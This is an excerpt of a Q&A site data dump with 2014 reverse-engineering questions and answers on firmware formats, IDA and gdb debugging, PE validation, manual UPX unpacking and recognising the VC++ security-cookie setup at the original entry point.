hex2.out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/sh/60fl2temsvbf29i/AAAAX1-vz-M-LWhnGs5aAsvCa?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;All the files can be found here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt; Where do I go from here? Please help, I've no idea.&lt;/p&gt;&#xA;" OwnerUserId="10313" LastEditorUserId="10320" LastEditDate="2014-12-22T05:47:39.450" LastActivityDate="2014-12-22T05:47:39.450" Title="Trying to reverse GPS Watch firmware image with binwalk" Tags="|firmware|embedded|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6868" PostTypeId="2" ParentId="6867" CreationDate="2014-12-21T17:52:59.543" Score="10" Body="&lt;p&gt;The Garmin GCD file format is documented &lt;a href=&quot;http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=115804#777367&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, with some additional information &lt;a href=&quot;http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=115804#777367&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=117239&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, it looks like somebody already wrote a &lt;a href=&quot;http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=137838&quot; rel=&quot;noreferrer&quot;&gt;tool&lt;/a&gt; (mirrored &lt;a href=&quot;http://garminmontanagpsr.wikispaces.com/file/view/RGN_Tool.exe/333010964/RGN_Tool.exe&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;) for handling and manipulating Garmin GCD files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/StceH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-21T17:52:59.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6869" PostTypeId="2" ParentId="6862" CreationDate="2014-12-21T21:43:08.173" Score="4" Body="&lt;p&gt;Some things you will inevitably have to know at some degree to be able to reverse engineer Game Consoles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Learn a lower level language such as C or C++. Most, if not all, Console games, modern and old, use these two languages for the bulk of the game (AKA, the Engine). This is important for my next point, which is:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Learn about the architecture of game software. Internally, games are not very different from one another. There are common data structures and algorithms that are needed by most games, and these needs reflect in the hardware. Learning the tools that engineers used to create these structures (C/C++) and knowing the structures and algorithms themselves, will help a lot when you have to make assumptions and guesses during the hacking process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You'll obviously have to get familiar with hexadecimal dumps and assembly languages to be able to make sense of reversed Console code and ROMs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a console game, preferably using an unofficial SDK. This is something that can also greatly improve your knowledge of the hardware and platform. Find out about the &quot;home brew&quot; community for your favorite Console and attempt to write a simple game using the available tools. You will have to solve a lot of hardware-specific problems and do a lot of guessing, since documentation is frequently rare. You'll gain valuable knowledge in the process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Contribute to an emulator project. This is also a great way of acquiring knowledge about the hardware. The best possible way, I'd argue, since you will be trying to mimic the hardware with a piece of software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10153" LastActivityDate="2014-12-21T21:43:08.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6870" PostTypeId="1" CreationDate="2014-12-21T22:30:04.240" Score="2" ViewCount="1945" Body="&lt;p&gt;My situation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I analyze some piece of code and I have the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         ...&#xA;         call eax&#xA;         ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using IDA PRO. My problem is that I can not go to the place where eax points. I mean: normally, I have something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ...&#xA;        call sub_xxxxxx&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I click on sub_xxxxxx, then IDA PRO shows me the code at sub_xxxxxx. Sometimes, there is also an offset. &#xA;But now, I have that register, and when I click on that then IDA PRO is not going to that location. It opens a window where I can rename the register. &#xA;I guess, IDA does not know where to go or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also try to open it with ollydbg, but since the file is a .bin file, I could not open it(in the search window, before opening, the .bin file was not listed) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I handle that problem ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2015-12-16T17:06:53.727" LastActivityDate="2015-12-16T17:06:53.727" Title="Call Eax in IDA PRO" Tags="|ida|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6871" PostTypeId="2" ParentId="6870" CreationDate="2014-12-21T22:34:35.380" Score="5" Body="&lt;p&gt;You would need to statically determine what the value(s) of &lt;code&gt;eax&lt;/code&gt; could be by statically reverse engineering the surrounding code, or (if you can run the target in a debugger) set a breakpoint on that &lt;code&gt;call eax&lt;/code&gt; instruction and see what value of &lt;code&gt;eax&lt;/code&gt; is used at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for the dynamic approach, different runtime scenarios may cause &lt;code&gt;eax&lt;/code&gt; to hold different values at that instruction address at runtime.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-21T22:34:35.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6872" PostTypeId="1" AcceptedAnswerId="6875" CreationDate="2014-12-21T23:06:35.780" Score="3" ViewCount="906" Body="&lt;p&gt;I'm trying to reverse a server executable(linux) and I need to find what calls sendmsg. Usually I can just use the xrefs in IDA, but in this case it doesn't show me anything. However, if I set a breakpoint at it I can see it being called when I connect. So my question to you is: how can I find out how the program got to the sendmsg?&lt;/p&gt;&#xA;" OwnerUserId="10278" LastEditorUserId="53" LastEditDate="2015-02-26T21:32:14.723" LastActivityDate="2015-02-26T21:32:14.723" Title="IDA: Finding out what calls sendmsg" Tags="|ida|linux|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6874" PostTypeId="1" CreationDate="2014-12-22T13:58:42.897" Score="6" ViewCount="1822" Body="&lt;p&gt;Now I'm developing an unpacker and reached testing stage. Sometimes I got a message which says that unpacked file is invalid Win32 executable, however it is not informative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask if there is a tool which identifies reason, why Windows exe's loader &quot;doesn't like&quot; file. So I would be able to easily detect bug in unpacking scripts.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2014-12-23T21:46:41.147" Title="Is not valid win32 application. Why?" Tags="|windows|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6875" PostTypeId="2" ParentId="6872" CreationDate="2014-12-22T14:24:55.003" Score="1" Body="&lt;p&gt;If you're breaking at the beginning of &lt;code&gt;sendmsg&lt;/code&gt; you can look at the return value on the stack to see where the call came from.  As long as no stack frame has been created the return value should be the first thing on the stack above ESP.  Take the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fxn41.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming &lt;code&gt;sendmsg&lt;/code&gt; is where &lt;code&gt;Bar()&lt;/code&gt; is located, the return address would be the location in &lt;code&gt;Foo()&lt;/code&gt; after &lt;code&gt;sendmsg&lt;/code&gt; was called.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure which debugger you're using (would be useful information), but in GDB you can look at the top of the stack (the return value) by using the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(gdb) x/20xw $esp&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique is useful when following object-oriented code, and xrefs are hard to come by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Backtrace&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or as suggested by Guntram Blohm you can use a backtrace.  In GDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) bt    ; Prints entire backtrace&#xA;(gdb) bt n  ; Prints 'n' innermost frames&#xA;(gdb) bt -n ; Prints 'n' outermost frames&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8176" LastEditorUserId="8176" LastEditDate="2014-12-23T12:17:34.243" LastActivityDate="2014-12-23T12:17:34.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6876" PostTypeId="1" AcceptedAnswerId="6877" CreationDate="2014-12-23T07:02:37.970" Score="9" ViewCount="1488" Body="&lt;p&gt;I have been looking on the net and all I see when it comes to reverse engineering are a bunch of silly crackme tutorials. I want to be better at taking code from assembly to c or c++. I am getting the feeling that I am going to have to have to pick this all in time and or make a bunch of small programs and break them apart.I would like to build on what might be already out there. I am already some what proficient in what I am doing just I want to be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, DDrawPtr&#xA;push    8&#xA;push    1E0h&#xA;push    280h&#xA;mov     ecx, [eax]&#xA;push    eax&#xA;call    dword ptr [ecx+54h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hex-rays translates this as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v1 = (*(**DDrawPtr + 0x54))(*DDrawPtr, 640, 480, 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is ok.... It should be .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HANDLE v1 = DDrawPtr -&amp;gt; SetDisplayMode(640,480,8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or sometimes IDA makes mistakes and will say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl sub_41B869()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as this code doesn't return anything and is supposed to be a void....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a neat question and answer here &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2096/convert-this-x86-asm-to-c&quot;&gt;Stackoverflow question/answer&lt;/a&gt;.&#xA;I am wanting to learn more like this because I am realizing that IDA makes mistakes. I want to know how to recognize function types and more importantly do this by hand, because I am seeing IDA make mistakes and I feel that I should learn to recognize better these mistakes and see how I can manually if need bring it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a book that does this somewhat but it goes from C to assembly not the other way around. &lt;a href=&quot;http://beginners.re/RE_for_beginners-en.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;reverse engineering pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-12-23T15:22:51.380" Title="Becoming A Better Reverse Engineer" Tags="|decompilation|c++|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6877" PostTypeId="2" ParentId="6876" CreationDate="2014-12-23T13:34:11.197" Score="15" Body="&lt;p&gt;These suggestions may help.  One sure way of becoming a better reverse engineer is to become a better &quot;forward engineer&quot;!  Here's what I would suggest:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Examine the assembly output of various compilers.&lt;/strong&gt;  Write test programs of increasing complexity and examine the assembly language output so that you get a sense of what the compiler does for any given high level construct.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try running binaries through a decompiler.&lt;/strong&gt; This will allow you to see how those same programs are interpreted by a tool and allow you to begin to see the kinds of errors that the tools make.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try completely reverse engineering a small project.&lt;/strong&gt; It's not hard to find source code for all kinds of things these days.  Pick an open source project that you are &lt;em&gt;not&lt;/em&gt; familiar with, compile it without peeking at the code and try to reverse engineer it entirely.  Alternatively, try reverse engineering some particular routine or aspect (which is more usual).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try to write code to fool the decompiler.&lt;/strong&gt; Open source projects typically don't take any anti-disassembly measures but other kinds of software (e.g. malware) often does.  Learn these techniques in the forward direction and then look at the results with your reverse engineering tools.  You'll get a feel for which techniques are successful and why.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2014-12-23T15:22:51.380" LastActivityDate="2014-12-23T15:22:51.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6878" PostTypeId="2" ParentId="6874" CreationDate="2014-12-23T15:28:39.147" Score="8" Body="&lt;p&gt;There are many PE/header dumpers out there but as far as I know none is suitable for vetting an image; their goal is usually the extraction and display of information, not validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best approach would be to write a small program or script in your favourite Swiss Army Knife language for validating the integrity of your output image, with a focus on flexibility and clarity in the section where you define your rules. In many languages there are libraries that you can call on, like &lt;a href=&quot;https://code.google.com/p/pefile/&quot; rel=&quot;noreferrer&quot;&gt;pefile&lt;/a&gt; in python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no place on the 'net where all the rules concerning PE images are collected in a comprehensive fashion. Many rules are not enforced by current incarnations of the Windows loader, or at least not consistently, even though they are mentioned somewhere on MSDN or in the &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;noreferrer&quot;&gt;PE COFF specification&lt;/a&gt;. Consequently, many packers and protectors violates certain existing rules with impunity. For the moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the same token, if your output image happens to run on your current incarnation of Windows there's no guarantee that it will do so on another copy of Windows with a different version, patch level or bitness. Let alone on WINE or ReactOS, whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excellent sources of information - besides Google - are the &lt;a href=&quot;http://www.reactos.de/&quot; rel=&quot;noreferrer&quot;&gt;ReactOS project&lt;/a&gt; and the &lt;a href=&quot;http://wiki.osdev.org/Main_Page&quot; rel=&quot;noreferrer&quot;&gt;OS dev wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things to look out for specifically - besides correctness of the header info, the data directory and the section table - are the image checksum and file/section alignment. Also, for some tasks - like computing the checksum - you can call upon functions in Microsoft's &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680321%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;imagehlp.dll&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick look at your PE you can always use Microsoft's dumpbin utility, which is included in Windows SDKs (at least those that ship with a compiler, i.e. those that predate the current 8.1) and many editions of Visual Studio, including the free Community Edition. I also found Daniel Pistelli's free &lt;a href=&quot;http://icerbero.com/peinsider/&quot; rel=&quot;noreferrer&quot;&gt;PE Insider&lt;/a&gt; quite handy, and the &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;noreferrer&quot;&gt;CFF Explorer&lt;/a&gt; suite is free as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: probably the best resource documenting the reality (as opposed to the theory) of PE structure is &lt;a href=&quot;https://code.google.com/p/corkami/wiki/PE&quot; rel=&quot;noreferrer&quot;&gt;corkami's PE wiki&lt;/a&gt;. It is certainly the most comprehensive PE documentation that I've ever seen... ReversingLabs have compiled a document named &lt;a href=&quot;https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf&quot; rel=&quot;noreferrer&quot;&gt;Undocumented PECOFF&lt;/a&gt; which gives an excellent overview over actual requirements vs. the theory. Although their focus is on the security implications, the pdf is also an excellent resource for making PEs work.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-23T21:46:41.147" LastActivityDate="2014-12-23T21:46:41.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6879" PostTypeId="1" CreationDate="2014-12-23T19:11:30.717" Score="1" ViewCount="3498" Body="&lt;p&gt;The sample I try to analyze starts with PUSHAD. It begins with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   PUSHAD&#xA;   MOV ESI, unbr002.0109D000&#xA;   LEA EDI, DWORD PTR DS:[ESI+FFEA4000]&#xA;   MOV DWORD PTR DS: [EDI+208C04], 8C1FE&#xA;   PUSH EDI&#xA;   OR EBP, FFFFFFFF&#xA;   JMP SHORT unbr002.0117C2EA&#xA;   NOP&#xA;   NOP&#xA;   ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I did:&#xA;First, I try the ESP trick   (step over PUSHAD, double-click on ESP -&gt; Follow in Dump etc. ) which does not work.&#xA;Then, I search the counterpart of PUSHAD, the POPAD instruction and put a breakpoint on it. After that, I click on F9 to run the program until the BP is hit. Then I saw this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  POPAD&#xA;  LEA EAX, DWORD PTR DS:[ESP-80]&#xA;  PUSH 0&#xA;  CMP ESP, EAX&#xA;  JNZ SHORT unbr002.0117C4BC        a)&#xA;  SUB ESP, -80&#xA;  JMP unbr002.01048A05              b) &#xA;  JMP SHORT unbr002.0117C4CC&#xA;  PUSH ESI&#xA;  MOV ESI, unbr002.010961A4&#xA;  CLD&#xA;  LODS DWORD PTR DS:[ESI]&#xA;  TEST EAX, EAX&#xA;  JE SHORT unbr002.0117C4E5&#xA;  PUSH 3&#xA;  POP ECX&#xA;  PUSH DWORD PTR SS:[ESP+10]&#xA;  LOOPD SHORT unbr002.0117C4D3&#xA;  POP ESI&#xA;  RETN 0C&#xA;  DB 00&#xA;  DB 00&#xA;  .....&#xA;  .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I know that after POPAD, a so called tail jump will come to bring me to the OEP.&#xA;When I go to a) nothing happens, I mean the jump is not taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to b), (I did &lt;strong&gt;not&lt;/strong&gt; step over/into, only click on ENTER) then it jumps to the following place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; CALL unbr002.01055C47&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, I also look into the function at 01055C47 which looks like this(I will only type the relevant part of this because the function is too big):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; .....&#xA; CALL DWORD PTR DS:[109407C]       kernel32.GetSystemTimeAsFileTime&#xA; MOV ESI, DWORD PTR SS:[EBP-4]&#xA; XOR ESI, DWORD PTR SS:[EBP-8]&#xA; CALL DWORD PTR DS:[10940F4]       kernel32.GetCurrentProcessId&#xA; XOR ESI, EAX&#xA; CALL DWORD PTR DS:[10940E0]       kernel32.GetCurrentThreadId&#xA; XOR ESI, EAX &#xA; CALL DWORD PTR DS:[10942BC]       kernel32.GetTickCount&#xA; XOR ESI, EAX&#xA; LEA EAX, DWORD PTR SS:[EBP-10]&#xA; PUSH EAX&#xA; CALL DWORD PTR DS:[109442C0]      kernel32.QueryPerformanceCounter&#xA; ...&#xA; ...&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, from other sources I have read that these functions above GetTickCount, etc. are anti-debug tricks. But I could not find a way to defeat them. &#xA;So, look at b) again. &#xA;Now, when I step over the JMP instruction at b) then the process is terminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question:&#xA;What must I do to handle that problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: &#xA;a) I have the ollydbg plugin OllyAdvanced, and I have checked the box TerminateProcess in ollyAdvanced without a success.&#xA;b) I also know that it is packed with UPX, but I try to make my own learn process a little bit harder and for that reason I try to manuelly unpack it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-12-23T19:25:49.650" Title="Defeat QueryPerformanceCounter as Anti-Debugging trick" Tags="|assembly|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6880" PostTypeId="2" ParentId="6879" CreationDate="2014-12-23T19:25:49.650" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; .....&#xA; CALL DWORD PTR DS:[109407C]       kernel32.GetSystemTimeAsFileTime&#xA; MOV ESI, DWORD PTR SS:[EBP-4]&#xA; XOR ESI, DWORD PTR SS:[EBP-8]&#xA; CALL DWORD PTR DS:[10940F4]       kernel32.GetCurrentProcessId&#xA; XOR ESI, EAX&#xA; CALL DWORD PTR DS:[10940E0]       kernel32.GetCurrentThreadId&#xA; XOR ESI, EAX &#xA; CALL DWORD PTR DS:[10942BC]       kernel32.GetTickCount&#xA; XOR ESI, EAX&#xA; LEA EAX, DWORD PTR SS:[EBP-10]&#xA; PUSH EAX&#xA; CALL DWORD PTR DS:[109442C0]      kernel32.QueryPerformanceCounter&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;So, from other sources I have read that these functions above GetTickCount, etc. are anti-debug tricks. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code above is not being used as an anti-debug trick, but rather to calculate a &lt;a href=&quot;http://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries&quot; rel=&quot;nofollow&quot;&gt;security cookie (also known as a canary)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://books.google.com/books?id=aidqstv38G8C&amp;amp;pg=PA167&quot; rel=&quot;nofollow&quot;&gt;https://books.google.com/books?id=aidqstv38G8C&amp;amp;pg=PA167&lt;/a&gt; for a decompilation of the code above, and &lt;a href=&quot;http://msdn.microsoft.com/library/aa290051.aspx&quot; rel=&quot;nofollow&quot;&gt;Compiler Security Checks In Depth&lt;/a&gt; for more information on security cookies as implemented in Microsoft's Visual C++ compiler.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-23T19:25:49.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6881" PostTypeId="1" CreationDate="2014-12-23T22:24:40.053" Score="3" ViewCount="2241" Body="&lt;p&gt;for me, it is sometimes difficult to decide if I have hit the OEP when I try to manuelly unpack it. &#xA;Especially in cases, when it does not begin with the standard function prologue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &#xA;I have found a following sample which starts with a PUSHAD instruction. I step through the content of code until I reach POPAD. After few lines, I have seen a JMP intruction which leads to a CALL instruction and a function is called. After stepping over that function, in the next line, there is another JMP instruction which ends up here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    PUSH 58&#xA;    PUSH unbr002.014A22F8&#xA;    CALL unbr002.013CBD40#&#xA;    XOR ESI, ESI&#xA;    MOV DWORD PTR SS:[EBP-4], ESI&#xA;    LEA EAX, DWORD PTR SS:[EBP-68]&#xA;    PUSH EAX&#xA;    CALL DWORD PTR DS:[141409C]          kernel32.GetStartupInfoA&#xA;    ....&#xA;    ....&#xA;    ....&#xA;    ....&#xA;    POP ECX&#xA;    CALL DWORD PTR DS:[1414278]          kernel32.GetCommandLineA&#xA;    ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I have read somewhere that &quot;GetCommandLineA – indicating you’ve hit the entrypoint of a program compiled with visual studio 6&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I asked myself if there is a list of indicators to know if one has hit the OEP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-02-22T00:31:33.000" Title="What are indicators for hitting the OEP?" Tags="|assembly|unpacking|oep|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6882" PostTypeId="2" ParentId="6881" CreationDate="2014-12-23T23:33:07.790" Score="4" Body="&lt;p&gt;Magic constants can sometimes help even if the packer splits the startup code into tiny fragments with copious jumping around and 'returning' to pushed/swapped addresses and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One such example is __security_init_cookie for VC++ startup code, which is related to the constant 0BB40E64Fh in 32-bit code and 2B992DDFA232h for 64-bit. That function is normally the only code which writes to both __security_cookie and __security_cookie_complement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401F06 020           mov     edi, 0BB40E64Eh&#xA;; ... stuff involving GetCurrentThreadId(), GetCurrentProcessId() etc. pp. ...&#xA;.text:00401F79 020           mov     ___security_cookie, ecx&#xA;.text:00401F7F 020           not     ecx&#xA;.text:00401F81 020           mov     ___security_cookie_complement, ecx&#xA;...&#xA;.data:00404000     ___security_cookie dd 0BB40E64Eh&#xA;.data:00404004     ___security_cookie_complement dd 44BF19B1h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The location of ___security_cookie is also easy to identify because of its unique role, independent of magic constants. And it leads you straight to __security_init_cookie() which is often the first function called at OEP, even before __tmainCRTStartup(). By contrast, imported functions (CRT dll, Windows API) are occasionally scrambled and thus difficult to identify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some crapware out there that automatically obfuscates constant loads by splitting them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1441285DB           mov     edx, 0E6FFA20Fh                           &#xA;...&#xA;1441285E3           lea     edx, [rdx+19005DF2h]                      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example the obfuscated constant is 1, of course. Other splits are possible, e.g. involving arithmetic or bit ops instead of LEA. The signature property is a constant modifying a constant residing in a register (inside a basic block, without the involvement of relocations), something which all self-respecting compilers would optimise away.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-23T23:53:23.867" LastActivityDate="2014-12-23T23:53:23.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6883" PostTypeId="1" CreationDate="2014-12-24T18:17:08.063" Score="1" ViewCount="96" Body="&lt;p&gt;I'm working on a binary that has a lot of FPU operations, and even though IDA (Hex rays) decompiles properly most of them, there's cases like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQQWu.png&quot; alt=&quot;Blue indexes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which &quot;decompile&quot; to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tV37N.png&quot; alt=&quot;Not so complete&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried undefining the function (U) and then defining it again (C -&gt; P), but sadly it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. If I open the executable in another instance of IDA (without my IDB), it decompiles just fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBf74.png&quot; alt=&quot;Proper decompilation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2014-12-24T18:17:08.063" Title="What are these blue indexes in the disasm output?" Tags="|ida|hexrays|float|" AnswerCount="0" CommentCount="4" ClosedDate="2015-02-21T09:40:08.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="6884" PostTypeId="1" AcceptedAnswerId="7981" CreationDate="2014-12-25T13:10:17.797" Score="1" ViewCount="964" Body="&lt;p&gt;So I want to track when a certain file is loaded into an Win32 app. That's way I put a break-point on 'CreateFile' which compares the first parameter with the target file name, but the problem is that it is a case-sensitive comparison. How to do it non-sensitive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the break-point condition on 'CreateFileA':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetString(DbgDword(esp + 0x4), -1, ASCSTR_C)  == &quot;D:\\3K-MILLENNIUM\\3K-MILLENNIUM\\USER_LAW.TXT&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2015-01-08T18:26:23.267" Title="How to compare no-case sensitive strings IDC" Tags="|ida|debugging|winapi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
